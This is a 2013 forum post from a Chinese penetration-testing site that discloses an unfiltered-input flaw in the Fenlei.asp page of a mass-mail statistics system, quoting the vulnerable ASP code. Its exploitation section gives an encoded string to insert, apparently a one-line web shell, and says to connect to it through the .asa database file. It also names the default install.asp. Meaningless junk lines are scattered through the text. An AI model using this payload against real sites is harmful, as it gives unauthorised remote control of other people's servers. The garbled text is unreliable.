中国网络渗透测试联盟
标题:
铜板儿网邮件群发统计系统 v1.2 漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:14
标题:
铜板儿网邮件群发统计系统 v1.2 漏洞
'Fenlei.asp
( D3 B4 i/ V; Q" d
* o F& i$ H0 K! t6 O0 C
IF Request.QueryString("Action")="del" Then
* G: O8 b5 k5 o% R' T1 c" w# N
ID=Request.QueryString("ID")
, q3 j T! V5 R4 y I1 y3 ^
IF Countss ("tui","Fenlei",ID )<>0 then
; i# m3 k5 A% |0 K2 W
'略
6 K0 Y* q* S8 d* w( c
IF Request.QueryString("Action")="Add" Then
1 D' y/ K. ^' y
Tname=Request.Form("Typename")
1 P% T2 O. L6 e
Set Rs=Server.CreateObject("adodb.Recordset")
* m1 L& d& v- x8 f1 b
Sql="Select * From Fenlei Order by id Desc "
$ V. M* b; F. W7 v5 D6 Q" X, i+ ~
Rs.Open Sql,Conn,1,3
* P4 Y# R! s5 e. A2 c# Y
Rs.Addnew
; f+ Z: C1 R2 O- N
Rs("Typename")=Tname
7 l d6 t0 q+ |/ d3 O1 T+ f- D1 H4 k
'略
: |/ V1 `6 C5 |) g- Z' D
Set Rs=Server.CreateObject("adodb.Recordset")
! e8 \, S. U {
Sql="Select * From Fenlei Order by id Desc "
, O( L n' H% x! d1 c
Rs.Open Sql,Conn,1,1
- q& t0 n$ R x- d, I1 z W
'略
/ N4 N; \; J: [' e2 V4 D
%>
6 \! r& K. L/ m5 F+ }
6 K+ D* ?3 e# }9 Y) Y- o
; b9 w$ i+ @: I
( U$ \% ^" H2 O3 {
没有过滤，直接写入数据库。
* [ B+ T; h3 B6 w$ E9 V
0 `: t$ W" Y0 `# Y& `* a
利用方法：
A7 x. v( t& A/ z+ Y2 M
; O$ h, C( }& D5 ~$ T! k/ c
插入：┼攠數畣整爠煥敵瑳∨≡┩>
7 t: `1 M, g4 g4 T7 E
2 v1 |1 V' d) r0 ?% c
1 K, u% \2 Q4 _: D- A
连接：
http://www.xxx.com/###tongbaner.asa
$ t0 @$ B- `3 z2 r+ \
'默认安装文件：
5 Y, T8 i; A6 g) i
'install.asp
: c. b# f5 E* S. y- G6 J
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2